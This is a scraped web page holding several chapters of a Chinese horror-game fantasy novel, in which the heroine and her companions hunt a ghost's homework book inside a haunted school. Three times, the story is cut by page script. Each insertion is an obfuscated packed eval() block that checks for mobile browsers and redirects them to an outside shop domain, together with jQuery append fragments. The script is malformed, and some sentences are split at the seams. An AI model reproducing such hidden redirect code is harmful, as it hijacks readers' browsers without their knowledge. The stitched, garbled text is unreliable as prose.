$(''#content'').append('' 有什么宝贝让我挑一件?”绯真想尤页这种情况大概就类似于副本游戏里的BOSS,哪里只是一个小BOSS,身上应该也会有几件宝贝。 “有是有,只是......”尤页的目光转向绯真头顶上方。 蛛蛛在绯真另一边朝尤页挥挥手。 绯真回头时,蛛蛛把手搭在了她自己的脑袋上。 “好,你帮我完成作业,我就让你在我的宝贝里挑一件,我们可是好朋友啊!”尤页弯着腰往左边走去,“跟我来,我带你们走捷径。” 捷径? 看来怎么找到作业本,尤页手里有一些线索啊。 跟着尤页在一楼转了一圈,最后停在大厅时,绯真意识到尤页的真正想法后,无语了。 “队长,她们也是这次副本游戏的一员吗?” 一队穿着同款登山装的队伍,其中一名队员伸手在六只手的蛛蛛和妆容奇怪的尤页身上指了指。 这两位和人类玩家的差异也太大了。 “十个,齐了。”队长是一个看着沉稳的中年女人,她扫了一眼大厅里的活人,加上这两个诡异正好十“人”。 《血色恐怖》景点内的副本游戏关于游戏成员并不限制种族,玩家和诡异都存在的情况也很正常,只是这种情况并不常见。 “你们好,我是何束,这次的副本游戏是找到作业本,寻找任务,希望大家就算不互相帮助也不要互相干扰。” 何束的这话不确定是在点在场两位诡异还是其他不认识的玩家们。 没人说话,这次的副本游戏内容就写在脚下的地板上,大家看完就各自离开了。 “认识一下,这是我朋友琥玠,这是蛛蛛和尤页,副本游戏只需要找到作业本,但如果能完成作业会更好。”绯真简单介绍了一下双方,她一点也不惊讶琥玠能追到这里来。 然后一转头,蛛蛛和尤页已经跑远了。 “她们好像很怕你?” “匕首上的虎纹可以辟邪。诡异很擅长骗人,你不要太相信她们。”琥玠双手抱胸提醒道。 “我现在失忆了,根本分不清谁说的话是真,你不会骗我吧?”绯真笑着歪头,就像琥玠经常歪头笑一下那样。 “不会。”琥玠勾唇笑了一下。 又来了,为什么笑得那么像狐狸啊。 绯真转身走了,“我听说了一件有趣的事情,不知道你有没有听说过一个宝藏?” “宝藏?”琥玠低声笑了一下,“你是指红狐的宝藏吗?” 绯真的眼里瞬间充满了兴趣,“你知道啊,你快讲讲宝藏是什么?” “据说是很珍贵的宝物。” “珍贵的宝物?”绯真对这宝藏充满了好奇,“我们要不要也去找找?” “会很危险,不止是玩家,诡异也在寻找。” “没事,我不怕,我可是很厉害的哦!”绯真挥了挥拳头,像是撒娇中带着一丝威胁。 但那是没人体验过绯真拳头威力的情况下,一旦挨过就知道那不是一句玩笑话。 那是真正威胁到生命的拳头。 5. 线索 绯真带琥玠去了之前那间教室,尤页2号已经从教室里离开了。 这到是方便绯真进去查找线索。 四排五列的座位,当时尤页2号坐在第二排的第一位。 绯真先去尤页2号的座位上,只找到了几本普通的高中课本。 之前在窗外看见尤页2号手里那本像作业本的书也没有找到。 她看向后面那张干净的课桌。 尤页说她们坐前后桌,那这张课桌就是她的? 绯真走到桌边弯腰,发现桌肚里空荡荡一片。 居然什么也没有。 她在教室里走了一圈,很快就发现只有这张课桌没有放任何物品,干干净净完全不像有人使用。 可惜其他课桌的物品也都很普通,除了高中课本就是空白的练习本,没有一点作业本的线索。 绯真随手拿了尤页课桌上的语文书翻开,“古诗词、散文,这里也学这些吗?” “或许只是工具书而已。”琥玠在课桌、墙壁、黑板上敲敲打打,没什么发现,反而闹出的动静吸引来了其他人。 “你们找好了吗?” 来的是何束那一队人,只是不是三个人,多了一个造型诡异的尤页。 尤页手里拿着一本书。 绯真一眼就看见了站在队伍中显得与众不同的尤页,只是她不确定这个是尤页还是尤页2号。 “找好了。”绯真走向黑板,站在琥玠旁边,“可以问一下,你们为什么会一起行动吗?” 不是说只要被尤页2号看见就会抓人去做作业吗? 面前这个尤页究竟是不是尤页2号? “我们做了交换。”何束带头走进来,她的目标很明确,脚下的步伐没有一点迟疑。 何束明显是往尤页的座位上走过去。 绯真伸手抓住了何束,何束是面相就一脸正气的人,她觉得有必要提醒对方一句。 “我见过和她长得一模一样的人。”绯真松开手,示意何束去看尤页。 何束转头,看见绯真的目光落在了尤页身上,何束愣了一下,立马反应过来,双手一推,推开了她那两名队友。 尤页的周围立马空出了一圈。 何束的队友也不笨,被推了没人问为什么,迅速和其他人拉开了距离。 “你们这是做什么?”尤页2号裂开嘴巴笑了一下,垂落地面的长发瞬间被她当做鞭子甩了出去。 “申晓凡,跳窗!”何束大喊一声。 突然双眼失神的申晓凡瞬间惊醒,动作迅速地撞向右侧的窗户。 “哗啦。” 申晓凡的运气不错,这里的窗户没有问题,他成功撞碎窗户跳了出去,只是尤页2号的长发鞭子像长了眼睛一般也跟了出去。 好在尤页2号的长发长度有限,长发鞭子在窗外扫了一下就缩了回来。 然后狠狠地撞上扑向尤页2号的何束。 何束抬起手臂挡了一下。 绯真抓起一本书砸了出去。 正中目标,正好砸在了尤页2号拿书的那只手上。 那本书瞬间掉了下去。 尤页2号伸手去捡,何束队伍里的第三个人抬起右手,露出绑在手臂上的袖箭,对准尤页2号一次连发六箭。 箭上不知道抹了什么,尤页2号被击中的部位都冒起了青色的烟。 尤页2号的表情也变了,变得痛苦,她顾不上去捡地上掉落的书,也顾不上去抓人,急匆匆地转身跑了。 绯真走过去捡起了那本书。 “放下,那是我们找到的线索。”城晶燕举着袖箭提醒道。 何束伸手按下了城晶燕抬起的那只手臂,“是她先发现那个诡异有问题,先注意到诡异手里的书,她先拿并没有任何问题。” “你们不去看下你们另一名队友吗?”绯真没听见窗外走廊上有声音,那个撞碎窗户跳出去的男人像是莫名消失了一样没有发出一点动静。 “申晓凡,你没事......申晓凡,你醒醒!”城晶燕快步跑出去,一眼就看见了受伤晕倒在地上的队友。 何束往门口走了几步,看见城晶燕在给申晓凡喂药了,何束松了一口气。 “是一本无字天书。”绯真翻完了,她把翻开的书转向何束。 这本封面上印着“习题册”的书内部空无一字。 看封面像是找到了尤页说的作业本,看书的里面感觉又不太像。 “我知道人面蛛的口水可以让字迹显形,这幢教学楼里正好有人面蛛,这本无字天书肯定能派上用处。” 何束听起来不像是第一次进行副本游戏,他们还有队伍,有点像训练有素的老玩家组队进行副本游戏。 “等我拿到人面蛛的口水就来找你们。”何束说完,叫上城晶燕和刚醒来的申晓凡离开了。 三人急匆匆离去。 应该是急着去找人面蛛的口水。 绯真回头看向琥玠,“你什么都不做吗?就一直在旁边看好戏?” 尤页2号动手的时候,琥玠没动,城晶燕举起袖箭的时候,琥玠还是没动。 这家伙该不会只是看着厉害,其实实力很弱? 琥玠甩了下头发,眨眼轻笑了一下,“绯真,我怎么可能会让你遇到危险?” 绯真看了一眼琥玠,意味深长地笑了一下。 她拿着尤页2号留下的习题册走出了教室。 她要去找尤页,习题册是无字天书没有关系,没有人面蛛的口水也没有关系。 只要这本习题册就是尤页的作业本,怎么就不算帮尤页找到了她的作业本? 一楼一共六个教室,走廊两边各三个教室,所有教室都空着,只有尤页2号之前待过的那个教室的课桌放了书。 其他教室似乎只是摆设。 绯真从窗外走过时扫了一眼,没看见尤页和蛛蛛,就直接去了二楼。 走了几步,她想到了一件事,问跟在后面的琥玠:“你看见电灯开关了吗?” 楼内光线很差,远离教室后,走廊上几乎没有了光。 绯真回头看琥玠,也只能看见一个黑乎乎的人影,只是距离近,隐约能看见一些。 “没有,据说在这里带着光源移动更容易吸引诡异,你会在意这事吗?” 琥玠的话像是在提醒什么,绯真立马反应过来,她一摸口袋...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482756|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上没有口袋。 自然也不可能有手机。 “你的手机在身上?我不在乎吸引诡异,你有手机就拿出来照明。” “不是手机。”琥玠拿出了指节大小的手电筒,轻轻一按,光就出现了。 “这么微弱的光?”绯真诧异,这迷你手电筒的光和走廊上昏暗的光线差不多,想看清脚下的台阶还是有点够呛。 “本来光线没这么暗,估计是坏掉了。”琥玠的语气里同样透着一丝诧异。 “算了,总比没有好一点。” 绯真又往上走了几个台阶,她就发现了问题。 “琥玠,你看见的范围是不是除了一个圆,其他部分都是漆黑一片?” 就算没有使用迷你手电筒的时候,绯真能看见的范围也不可能正好是一个圆圈,然后周围一片漆黑。 她又不是透过一个圆形的孔在看外面的情况。 “琥玠?”绯真没有听见琥玠的回答,但是身后的脚步声并没有消失。 绯真回头,圆内能看见,但光线十分黯淡,她看不清琥玠的表情。 “我看不清。”琥玠抓着楼梯扶手慢慢移动,迟疑了很久才回答。 “我也看不清啊。”绯真说完感觉琥玠的语气有点不太对劲,她伸手在琥玠眼前晃了晃,“看见了吗?” 琥玠伸手抓住了绯真的手,感受到手上传来的温度,琥玠就知道他抓住了什么,“我看不清,你拉着我走好吗?” 昏暗寂静的楼梯上,琥玠的话像是带着一丝撒娇,还有一声像撞击在心脏上的“咚”的一声在配音,让人忍不住想答应。 绯真用力抓紧了琥玠的手,她语气无奈地说道:“你的手电筒是不是没电了,我现在什么都看不见了。” 绯真的视线中此刻一片漆黑,连近在咫尺的琥玠也看不见了。 “......”琥玠低头看了一眼因为自己突然松开手而掉落在地上熄灭的迷你手电筒,他尴尬地笑了一声,“手电筒不小心摔坏了。” “......”绯真突然知道之前那声“咚”是什么声音了。 “我们走快点,二楼应该快到了。” 走廊上至少会有窗外洒进来的光,不会像楼梯上那么昏暗。 视线受到影响,为了防止走丢,绯真一只手抓着琥玠,另一只手扶着楼梯扶手往上走。 心里默数着台阶,估计差不多到二楼就停下了脚步。 “前面没有台阶是平地,应该是到二楼了,但是这里为什么一点光线也没有?” 绯真用左脚脚尖试探着往前移动,确定了前方的地面很平坦。 就是视线仍然漆黑一片。 这种感觉很像晚上熄灯睡觉,睁眼看着周围,却只能看见一片漆黑。 “我走前面。” 绯真听见琥玠从她旁边走了过去,从她身后走到了前方。 那毫不迟疑的步伐让人感觉琥玠能看见了。 “你能看见了?” “能看见一点点模糊的景象。”比完全看不见要好一点。 在两人看不见的楼梯对面的墙边,一个黑色的影子静静地站在那里,不知道站了多久,听了多久。 6. 被抓 绯真又往前走了一步,她眼前的黑暗如晕染的水墨画一般消失了,琥玠黑色的背影和暗淡的走廊出现在了她的视野中。 “能看见了。”绯真回头看了一眼楼梯,楼梯看起来很正常,但楼梯上的视野明显有问题。 “那边有人。”琥玠走在前面,他的视线先一步恢复正常,他刚好看见了右前方那间教室门口走进去的人影。 绯真的视线扫过面前空无一人的墙面,落在琥玠所说的那个方向。 那里不止一间教室,绯真只是看了一眼就知道琥玠说的是哪间教室。 有灯光从中间的教室窗户里洒了出来。 “二楼的教室里有电灯开关?一楼教室里没看见啊。”绯真还以为这幢楼里根本就不存在电灯开关,看来可能只有一楼比较特别而已。 没什么好害怕和犹豫,绯真直接走了过去。 那间教室的大门开着,里面...... “怎么会这么像?”绯真在门口看见教室里坐了一个人,那个人的行为就像她之前和蛛蛛在一楼教室外看见尤页2号做作业的场景。完全一模一样。 绯真有看见过现在坐在教室里的这个人,是之前在一楼大厅的其中一个男玩家。 这名穿着灰格子衬衣的男生像是沉浸在了自己的世界中,不受外界的影响,他的眼里似乎只有他面前的作业本。 但那其实只是一本空白的作业本,灰格子衬衣男拿着笔在空白作业本上挥动不过是留下了一条条杂乱无章的线条而已。 “像什么?”琥玠拍在了一下灰格子衬衣男的桌子,发现对方没有任何反应。 “像尤页2号做作业的模样。”除了换了一个教室,就连位置都一样。 “尤页2号?”琥玠抱胸歪头好奇地问道,“是刚才那些诡异吗?你不要太相信她们。” “我不会相信骗人的家伙。”绯真笑道。 这话似乎意有所指,琥玠转向灰格子衬衣男,“你看他的眼睛,他的眼神不对劲,是不是被控制了?” 灰格子衬衣男的目光一点不呆滞,反而充满了恳切的求救感,不断转动的眼珠像是在诉说什么。 只有眼睛能动吗? 绯真立即想到了对策。 “如果你被控制了就眨眨眼。” 灰格子衬衣男立即不停地扎眼。 “你需要帮忙吗?如果需要就眨两下眼睛。” 灰格子衬衣男立即眨了两下眼睛。 “你有办法?”琥玠惊讶。 “只有一个笨办法。”绯真伸手在灰格子衬衣男后颈劈了一下,灰格子衬衣男瞬间晕了过去。 “还好人晕了就不会继续被控制。”绯真抓住灰格子衬衣男的衣领,轻松将人提了起来。 琥玠:“?”这是什么怪力? “你很惊讶吗?”绯真注意到了琥玠眼底的惊讶。 “你这是要带他走吗?” “带一个累赘吗?”绯真将人拖到了走廊上。 “唔!” 左边传来的动静立即引起了绯真的注意。 两只手捂着嘴巴的蛛蛛快速跑了过来。 “绯真,需要我帮忙吗?我知道尤页那里有一个藏尸的好地方。”蛛蛛压低的声音里仍能听出一丝兴奋。 “是不是被尤页2号抓住的人会像尤页2号一样坐在教室里做作业?”这件事除了尤页之外应该就是蛛蛛最清楚答案了。 “没错,原来这人是被尤页2号抓到了啊。”蛛蛛发现灰格子衬衣男还在喘气,露出了可惜的目光,“太可惜了。” “怎么还有人?”蛛蛛像是才注意到站在门口的琥玠,她惊呼了一声转身又要跑。 这次绯真伸手抓住了蛛蛛的一只胳膊。 “你为什么要跑?” 蛛蛛震惊的目光十分显眼,很快想起什么,快速解释道:“人多的地方更容易被抓住啊,只要超过三个人一起行动,必然会先引起尤页2号的注意。” 原来之前蛛蛛和尤页逃跑不是因为害怕琥玠而是这个原因吗? “诡异也算?” “当然,只要活物都算。”蛛蛛肯定地点头,“绯真,不是我不愿意跟你一起走,实在是这里人太多了,我们分开走会更安全。” “大概多久尤页2号会赶到这里?”这里刚好有四个“人”,按照蛛蛛的说法,尤页2号很快就要到了。 “这就要看尤页2号的速度了。”蛛蛛想抽回被抓住的那只手臂,却根本挣脱不了绯真的手。 好大的力气! “你们在干什么?尤页2号已经来了!”楼梯口慌慌张张先冒头的是尤页,看见绯真和蛛蛛在走廊上说话,急忙提醒。 另一个尤页从这个尤页身后冒了出来,很快走到了开口说话的尤页前面。 这个尤页一言不发,目标直指在场站着的人,显然是尤页2号。 绯真松开了手,往前方走了几步,她可不想等会动手时,还要顾虑被躺在地上的灰格子衬衣男绊倒。 这样一来,离尤页2号最近的人就变成了绯真。 看见绯真拉伸了一下手掌,琥玠立马大步走了过去,“要动手吗?交给我就好。” 尤页2号一个飞扑跳过了最后一米的距离,得意的表情在绯真眼前放大。 然后再也无法靠近绯真一寸。 绯真侧身避开了尤页2号的指甲,右手抓住尤页2号的下巴将尤页2号反推了回去。 尤页2号就像个皮球,主动蹦了过来,又被打了回去。 正好撞上后面那个尤页。 两个尤页摔在一起,一时间让人分不清谁是尤页,谁是尤页2号。 “尤页你没事吧!”蛛蛛大叫一声,脚在地上一通乱踩,实际移动距离为零。 “啊!”晕过去的灰格子衬衣男被一脚踩醒了。 他抱着肚子坐起,看清眼前的情况,瞬间冷汗直流。 “怎么会这么多人?你们都别靠近我!”灰格子衬衣男连滚带爬地起来,远离了人群。 绯真回头看了一眼,又看向站在原地不动似乎像扮演真假尤页的两个尤页,“你见过几个长得一模一样的尤页?” 绯真指了下尤页问灰格子衬衣男。 当时大厅里灰格子衬衣男单独站,离开时也是独自离开,蛛蛛说同行人数超过三人必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482757|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然会先引起尤页2号的注意,灰格子衬衣男醒来后又先提到了人数,说明他被尤页2号抓住的确和人数有关。 那么灰格子衬衣男被抓时,他周围还有谁? 何束三人是一支队伍,不可能和灰格子衬衣男一起行动,而且不久前也见过,时间上不像是有机会和灰格子衬衣男一起行动过。 剩下的人类玩家还有两名,加在一起也不过是三人,那第四个“人”是谁? 看见绯真,灰格子衬衣男还记得绯真帮了他,“三个,我看见三个一模一样的诡异,被包围后就被抓了。” “三个尤页?”绯真惊讶,“蛛蛛,尤页一共有几个?” “理论上......”蛛蛛刚开口意识到说错了话,立马改口道,“理论上只有尤页知道,我也不知道啊。” “好,那就只能问尤页了,刚好尤页就在这里。” 被绯真的目光盯着,悄悄挪动靠近的两个尤页突然产生了后退的念头。 她们是不是不该选这个玩家为目标啊? “快说!不然就让你们尝尝能驱鬼辟邪的匕首!”琥玠挥了几下匕首,空气中似乎真有点不太一样了。 “你们不是要找作业本吗?”其中一个尤页开口了,“我知道作业本在哪里,但是我只告诉一个人,谁想知道?” “我!” 楼梯那再次有人出现,这次是另外两个陌生男玩家,说话的是其中一个光头青年。 两人结伴从三楼下来,正好到达二楼,听见了尤页的话。 “只有一个人吗?”尤页笑道,她的目光转向了某间教室的大门。 门从里面打开,何束从门里走了出来。 “别相信她的话,只要被她的手掌碰到就会被控制。” “你看见了?”灰格子衬衣男脸色一变。 “别误会,我没看见你是怎么被抓,只是我的同伴正好也中招了。” 何束身后的教室里,申晓凡晕倒在桌子上,城晶燕在一旁盯着。 这下好了,所有玩家都在这里了。 走廊上那么挤的空间,尤页2号横冲直撞就能碰到不少人。 “作业本给我!”绯真先一步动了。 面对站在一起的两个尤页,她伸手一拉一推就再次让两个尤页倒作一团。 两个尤页同时尖叫起来,头发全都甩向了绯真。 绯真双手一抓,她只是轻轻一拉,都还没有用力,两个尤页的头发却突然脱落,变成了两个闪亮亮的光头。 两个尤页:“?” 绯真:“?” 光头摸了摸他的脑袋,莫名觉得旁边那两个光头在发光是怎么回事? “这就是传说中的诡异克星吗?”琥玠恍然大悟,打破了沉寂诡异的气氛。 “啊!头发!我的头发!”两个尤页抱着自己没有头发的脑袋痛苦地嚎叫着,发疯般滚向了楼梯。 光头青年和他的同伴立即远离了楼梯口,差一点就被尤页们一起带走了。 “好闺闺,诡异克星是什么?” 阴森寒冷的气息瞬间充满了走廊,像有一只无形的手在触摸每个人的后脖颈。 7. 作业 “这些头发有什么用啊?”周围气氛的变化并没有影响到绯真,她随手将左手上的头发甩向了走廊一侧的墙壁。 漆黑的头发从白墙上扫过,留下了几道黑色的痕迹。 “好闺闺,你还没有回答我的话。”蛛蛛的手臂攀上了绯真的胳膊。 三只手臂的力气却阻止不了绯真反手按住了蛛蛛的肩膀,“蛛蛛,你能不能安静点?” “你......”蛛蛛开口才说了一个字就被绯真推开了,接着背后碰到了另一只手掌。 蛛蛛转头瞪视那个不怕死的人。 绯真把两把头发混在一起,往白墙上又挥了几下,白墙上黑色的划痕变多,手上的头发数量似乎变少了。 “头发是墨汁吗?”何束紧紧抓着蛛蛛的后脖子,让蛛蛛无法再次转头。 何束不相信蛛蛛这个诡异,何况刚才蛛蛛差点就动手了。 “试试就知道了。”绯真把头发放到了打开的习题册上,头发瞬间被吸进了习题册。 原本空白的习题册里这会出现了一些模糊的字迹。 像被水冲洗了一遍,字完全看不清楚。 “这是写了什么?”光头青年凑过来看,只看见一堆模糊的墨迹。 一只戴着黑色皮手套的手推开了光头青年,“离绯真远点。” 光头青年挑眉,“这本书是在哪找到?” “其中一个尤页的手里。”绯真合上习题册,走向蛛蛛,“蛛蛛,这是尤页的作业本吗?” 这件事她不确定,但蛛蛛未必不知道啊。 “绯真。”蛛蛛的表情有些痛苦,声音里带了一丝哭腔,“我的脖子好痛啊。” “如果我没有认错,蛛蛛就是一种叫人面蛛的诡异。”何束没有松手,她刚好知道人面蛛最喜欢的东西是什么。 “我听说过人面蛛,人面蛛最喜欢年轻好看的女孩!”光头青年在身后笑道。 琥玠皱了下眉,右手按在了匕首上,他对蛛蛛产生了警惕。 “绯真,你要相信我。”蛛蛛可怜巴巴地哀求道。 绯真苦恼了一秒,摇摇头,转身叫上琥玠离开,“琥玠走了,我们去找尤页。” 琥玠开心地嘴角上钩,跟上绯真。 “绯真你为什么不相信我!”蛛蛛大哭。 绯真停下回头,笑道:“蛛蛛,你想知道欺骗我会是什么下场吗?” “你骗我了吗?” 蛛蛛的眼泪流了下来,她睁大流泪的眼睛无声地摇头。 绯真无奈地摇了下头,她又走了回去,“何束,你先放开她。” 何束并不打算听绯真的话,但她的手却自己动了,脚还主动往旁边走了几步。 何束没有感受到任何异样,但这怪异的事情却在她身上发生,她瞬间出了一身冷汗。 何束走开后,绯真盯着蛛蛛那双和人类一模一样的眼睛说道:“你是不是觉得我失忆了就分辨不出谎言?” “绯真你在说什么啊?我没有骗你。”蛛蛛睁大了眼睛。 但蛛蛛可能不知道,那双眼睛不属于她,她的面部表情太夸张时总会显得有几分不自然。 “你怎么就听不懂我的话啊,我已经知道你在骗我了,你就......”绯真抬起了右手,开心笑道,“先挨我一拳。” 蛛蛛一点也不担心绯真的拳头,即使她之前已经发现绯真的力气很大。 蛛蛛有自信接下这一拳。 “?”被一拳打进墙里动弹不得,好不容易缝上的新脑袋还掉了时,蛛蛛才意识到了事情的严重性。 看见这一幕,在场某些人感觉收到了警告。 “你们还有事吗?”绯真笑着看向其他人。 “我们去三楼看看。”何束带着她的人走了。 “我们再去一楼找找线索。”光头青年拉上他的同伴也离开了。 一时之间只有琥玠还站在原地。 “你没什么想说的吗?”绯真握了握拳,漫不经心地问道。 “和我记忆中一样,干得漂亮!”琥玠一点不惊讶,赞叹道。 “真的吗?下次砸西瓜给你看啊!”绯真笑道。 “好啊。”琥玠爽快应道。 两人旁若无人地边聊边走,卡在墙里的蛛蛛直接被无视了。 “就这样放过吗?”琥玠有些担心蛛蛛会再次卷土重来。 “你知道诡异要怎么样才能杀死吗?”绯真低声问道。 绯真的眼睛一眨一眨,眼底像有星星在闪烁。 琥玠晃神了一秒,他说道:“不知道。” “那就不管了。”都不知道办法,何必再回头。 楼梯往上走是三楼,绯真只看见了二楼去往三楼的转角平台,再往上就只有一堵墙。 去往三楼的何束三人似乎消失了。 从三楼下来的光头青年和他的同伴似乎撒谎了。 “此路不通,看来只能往下走了。”琥玠转身打算离开,但他注意到绯真没有动,“你发现什么了吗?” “没有,我只是在想这堵墙后面会是什么?” “你打算砸墙?”琥玠听懂了,只是砸墙工具是? “嗯,都走到这里了,总要看一眼再走啊。”绯真举起了右拳。 “等下,你的拳头不会痛吗?”琥玠替绯真感到心痛。 “痛?”绯真疑惑了一秒,恍然,“你用拳头打棉花会痛吗?” 一拳挥出,墙体瞬间漫开一张蜘蛛网,蜘蛛网的中心出现了一个黑乎乎的洞。 墙的对面漆黑一片,什么都看不清。 “怎么又是黑乎乎一片?这里就不能开下灯吗?”绯真盯着洞口看了一会,连一点模糊的影子都没有看见。 下一秒,楼梯天花板上的灯瞬间亮了。 刺目的光线让绯真下意识闭了下眼睛,然后她好像听见了从风中传来的细微的声响。 像纸张翻动的声音。 声音像是从墙的对面传来。 接着纸张翻动的声音变响了,这次声音很明显是从楼下传来。 绯真不确定墙对面的黑暗里有没有传来声音,但楼下发出的动静越来越响了,就像是在吸引她去楼下。 “一楼的声音你听见了吧,像不像故意在引我们过去?”绯真指指墙,“这后面难道藏了什么不能让人知道的秘密吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482758|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这么大一面墙,我们可以找其他玩家一起来砸,你一个人砸会手疼。”琥玠心疼地说道。 绯真点点头,“多砸几次的确麻烦,我刚才用的力气不够大,我再试一次。” “?”绯真的力气究竟有多大啊。 这次绯真还没动手,脚下的楼梯先动了。 楼梯突然沉了下去,完全没给人反应的时间,直接掉到了一楼。 楼上的一切全都被一片黑暗遮盖了起来。 不像一楼,所有的灯都打开了,亮堂堂一片。 一楼六个教室,刚好坐了六个人。 五个玩家和尤页都在,所有人都和尤页一样在座位上做作业。 “少了一个人。”绯真看完这几乎复制粘贴的六个教室,注意到有一个玩家的身影没有看见。 “会不会被诡异吃了?” 一楼这里根本没有藏人的地方,如果死了那还有尸体呢,现在什么都没有,被诡异吃了的可能性就很大了。 “把人拉出来问问就知道了。”绯真选了何束所在的教室,“门打不开。” “窗户也打不开。”琥玠试了一下走廊边上的窗户。 “那就只能破门而入了。” 绯真转了转右手腕,握紧了右拳,接着一击飞踢踢飞了教室的大门。 门摔出去很远,撞到对面的墙上还震碎了边上的窗户玻璃。 绯真大步走进去,抓住何束的胳膊把人拉出了教室。 灰格子衬衣男之前从教室里出来后就清醒了,把何束从教室里拉出来估计也会恢复正常。 果然何束一离开教室就恢复正常了。 “你们怎么会都被抓住了?你还有一个队友去拿了?” “谁不见了?”何束反应过来,在走廊上奔跑,看完六个教室的情况,她盯着其中一个教室张嘴说不出话来。 那个教室里正好坐着一个尤页。 “她说的是真的!”何束感到难以置信,“城晶燕变成了新的尤页!” “你这话是什么意思?”绯真看向教室里那个尤页,看起来和她最先见到的尤页2号没什么区别。 “她说要把作业本打开,这样每一个尤页碰到后就会变成一部分作业,完整的作业会告诉我们出口在哪里。” 何束说着看向其他教室,“其他人现在还没有变成尤页,如果把他们从教室里拉出来,我们就完成不了任务,如果什么都不做......” “如果什么都不做,你也活不了。”绯真不相信何束提到的她,玩家们都在这里了,告诉何束这件事的人必然不会是人类。 诡异的话能轻易相信吗? “完整的作业需要几个尤页?六个够吗?” “不够,她说要七个。”何束惊觉,她差点就走了迷障。 绯真:“先把人拉出来,等一个个变成尤页就更麻烦了,还要想办法让他们变回去。” 一点举手之劳的小忙,绯真不会拒绝,考虑到尤页的数量要求是七个,她选了城晶燕变成尤页的这个教室。 走进去,绯真就看见尤页面前的作业本上写了字。 “尤页,为什么是七个?” 8. 出口 尤页又在纸上重新写了一遍。 绯真没看,盯着尤页,在尤页对面坐下,“为什么是七个?是刚好减去了你、蛛蛛和我吗?” 尤页放下笔,抬头看向绯真,她的眼神发生了变化,那丝不自然的僵硬感消失了。 “你怎么知道我是真的尤页?” “我猜的,刚好猜对了而已。”绯真伸手卷住了尤页一缕长发,“城晶燕去哪了?” “你想见她吗?那你很快就能见到她。” 绯真感觉到了一丝不对劲。 “何束说的作业办法是你告诉她?你知道还找我帮忙?” 尤页笑了,“那是玩家要完成的作业,不是我的作业。” “那你的作业是什么?” “作业本给我看下。” 绯真把习题册打开,翻到字迹模糊的那面,她拿着习题册给尤页看。 “原来我的作业是这个啊。” 尤页居然从一片模糊中看出了信息? “是什么?” “焦猪请假了,有瓶饮料需要帮忙去取来给他的孙子。这就是我的作业,我讨厌跑腿的工作,你能帮我完成吗?” “这个作业不可能在这里完成啊,你先把奖励给我,不然就算了。” “绯真,大家在教室待的时间太长,状态有点不太好,何束在照顾他们。”琥玠敲了下教室大门,来提醒绯真。 “不愿意就算了,我要走了。”绯真站了起来。 尤页犹豫了,看见绯真毫不犹豫地离开,她忽然想起来一件事:“城晶燕,我把城晶燕还给你们!” 绯真走出了教室,脚步一点没有迟疑。 “她从窗户跳出去了。”琥玠面朝着教室,他清楚看见尤页说完那句话后就打开另一边的窗户跳了出去。 “真的要七个尤页就能完成任务吗?”灰格子衬衣男坐在地上休息,他突然开口问道。 “你们在走廊上说的话,我们都听见了。”申晓凡说完看见绯真身后并没有城晶燕,“城晶燕呢?” “我在这!”城晶燕从楼梯那快速跑了过来,她的脖子上多了一条花色的丝巾。 “你的脖子怎么了?”绯真想到了蛛蛛脖子上的黑色蕾丝项圈,城晶燕的丝巾又在遮挡什么? “被诡异掐了一下。”城晶燕没有继续遮掩,她拿掉丝巾让大家清楚看见她脖子上那一圈掐出来的淤痕。 “你怀疑她和人面蛛换头了?”琥玠轻声在绯真耳边问道。 “嗯,不过好像对方还没来得及就被打断了。” 城晶燕脖子上的肤色受到了淤痕的影响,但多观察一会,还是可以看出城晶燕的脑袋属于她自己。 “现在我们都知道该怎么完成任务,不如抽签来决定怎么样?”光头青年突然开口说道。 八个人要牺牲七个,只能活下来一个人。 “好啊,抽签。”绯真爽快地同意了。 “不行,绯真不能有事,我代替绯真。”琥玠这话一说,其他人的脸色瞬间就变了。 绯真不能有事,岂不是其他人都要死。 琥玠自然知道会变成这样,他握紧了手里的匕首。 这是打算一打六,给绯真杀出一条血路啊。 “别打断我的话啊,我还没说完,抽签可以,不过不是八抽七,而是八抽五!” “为什么是抽五个?”灰格子衬衣男问道。 “因为作业本只需要七个人就能完成作业,现在上面已经有两个人的头发,再加五个人的头发不就够了吗?”绯真晃了下手里的习题册,“你们还记得之前那两把头发让上面出现了字迹吧?作业需要七个人也可能是指七个人的头发啊。” 两个尤页的头发让习题册出现了模糊的字迹,这是所有人亲眼所见的事实。 “既然是头发为什么还要抽签?”灰格子衬衣男的态度缓和了下来。 头发和命相比,自然是命更重要。 